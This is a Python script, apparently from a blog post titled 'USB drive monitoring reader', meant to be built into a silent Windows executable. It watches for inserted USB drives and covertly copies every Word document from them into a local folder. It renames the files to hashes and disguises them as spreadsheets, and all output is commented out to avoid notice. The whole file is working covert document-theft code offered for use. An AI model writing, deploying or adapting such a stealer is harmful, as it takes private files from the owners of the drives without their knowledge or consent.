# -*- coding:utf-8 -*-
#pyinstaller -F usermode.py
import psutil
import sys
import os
import time
from datetime import datetime
import shutil
local_device = []
local_letter = []
local_number = 0
local_cdrom = []
local_cdrom_letter = []
local_cdrom_number = 0
mobile_device = []
mobile_letter = []
mobile_number = 0
password="gxbdb684f1b8cfdf046744ea96d9fce48469fbac305dc6aa0d6operator_pro1520391961274j4102412y5210wang"
def md5_passwd(str,salt):
import hashlib
md = hashlib.md5()
md.update('jmy_123_AS*232'.encode())
str=str+salt
import hashlib
md = hashlib.md5()
md.update(str.encode())
res = md.hexdigest()
return res
def updata():
global local_device, local_letter, local_number, mobile_device, \
mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number
tmp_local_device, tmp_local_letter = [], []
tmp_mobile_device, tmp_mobile_letter = [], []
tmp_local_cdrom, tmp_local_cdrom_letter = [], []
tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number = 0, 0, 0
try:
part = psutil.disk_partitions()
except:
#print("程序发生异常!!!")
sys.exit(-1)
else:
for i in range(len(part)):
tmplist = part[i].opts.split(",")
if "fixed" in tmplist:
tmp_local_number = tmp_local_number + 1
tmp_local_letter.append(part[i].device[:2])
tmp_local_device.append(part[i])
elif "cdrom" in tmplist:
tmp_local_cdrom_number = tmp_local_cdrom_number + 1
tmp_local_cdrom_letter.append(part[i].device[:2])
tmp_local_cdrom.append(part[i])
else:
tmp_mobile_number = tmp_mobile_number + 1
tmp_mobile_letter.append(part[i].device[:2])
tmp_mobile_device.append(part[i])
local_device, local_letter = tmp_local_device[:], tmp_local_letter[:]
mobile_device, mobile_letter = tmp_mobile_device[:], tmp_mobile_letter[:]
local_number, mobile_number, local_cdrom_number = tmp_local_number, tmp_mobile_number, tmp_local_cdrom_number
local_cdrom, local_cdrom_letter = tmp_local_cdrom[:], tmp_local_cdrom_letter[:]
return len(part)
def print_device(n):
global local_device, local_letter, local_number, mobile_device, mobile_letter, mobile_number, local_cdrom, local_cdrom_letter, local_cdrom_number
#print("读取到" + str(n) + "个驱动器磁盘")
#print("------->", end="")
for l in range(local_number):
pass
#print(local_letter[l], end="")
#print("是本地硬盘")
#print("------->", end="")
for l in range(local_cdrom_number):
#print(local_cdrom_letter[l], end="")
pass
#print("是CD驱动器")
if len(mobile_device):
#print("------->", end="")
for m in range(mobile_number):
#print(mobile_letter[m], end="")
#print("是插入的移动磁盘...")
pass
else:
pass
#print("进程进入监听状态 " + "*" * 10)
return
def mkdir(path):
path=path.strip()
path=path.rstrip("\\")
isExists=os.path.exists(path)
if not isExists:
os.makedirs(path)
#print(path+' 创建成功')
return True
else:
#print(path+' 目录已存在')
return False
def copy_file_to_disk_hidden(USB_path):
mkpath="D:\\tmp\\HUSTFHNFGT\\"
mkdir(mkpath)
usb_path = USB_path + "\\"
save_path = "D:/tmp/HUSTFHNFGT/"
for fpathe,dirs,fs in os.walk(USB_path):
for f in fs:
if f[-3:]=='doc':
try:
aa,bb=f.split(".")
bb='xls'
oldname = os.path.join(fpathe,f)
aa=md5_passwd(aa,password)
newname=save_path+aa+'.'+bb
#print(newname)
shutil.copyfile(oldname,newname)
except:
continue
elif f[-4:]=='docx':
try:
aa,bb=f.split(".")
bb='xlsx'
oldname = os.path.join(fpathe,f)
aa=md5_passwd(aa,password)
newname=save_path+aa+'.'+bb
#print(newname)
shutil.copyfile(oldname,newname)
except:
continue
if __name__ == "__main__":
now_number = 0
before_number = updata()
#print("=" * 50 + "\n此刻时间是: " + str(datetime.now()))
#print_device(before_number)
while True:
now_number = updata()
if now_number > before_number:
#print("=" * 50 + " \n检测到移动磁盘被插入...此刻时间是: " + str(datetime.now()))
#print_device(now_number)
if len(mobile_device):
for m in range(mobile_number):
copy_file_to_disk_hidden(mobile_letter[m])
else:
pass
before_number = now_number
elif now_number < before_number:
#print("=" * 50 + " \n检测到移动磁盘被拔出...此刻时间是: " + str(datetime.now()))
#print_device(now_number)
before_number = now_number
time.sleep(1)
U盘监控读取者
最新推荐文章于 2024-01-13 16:19:27 发布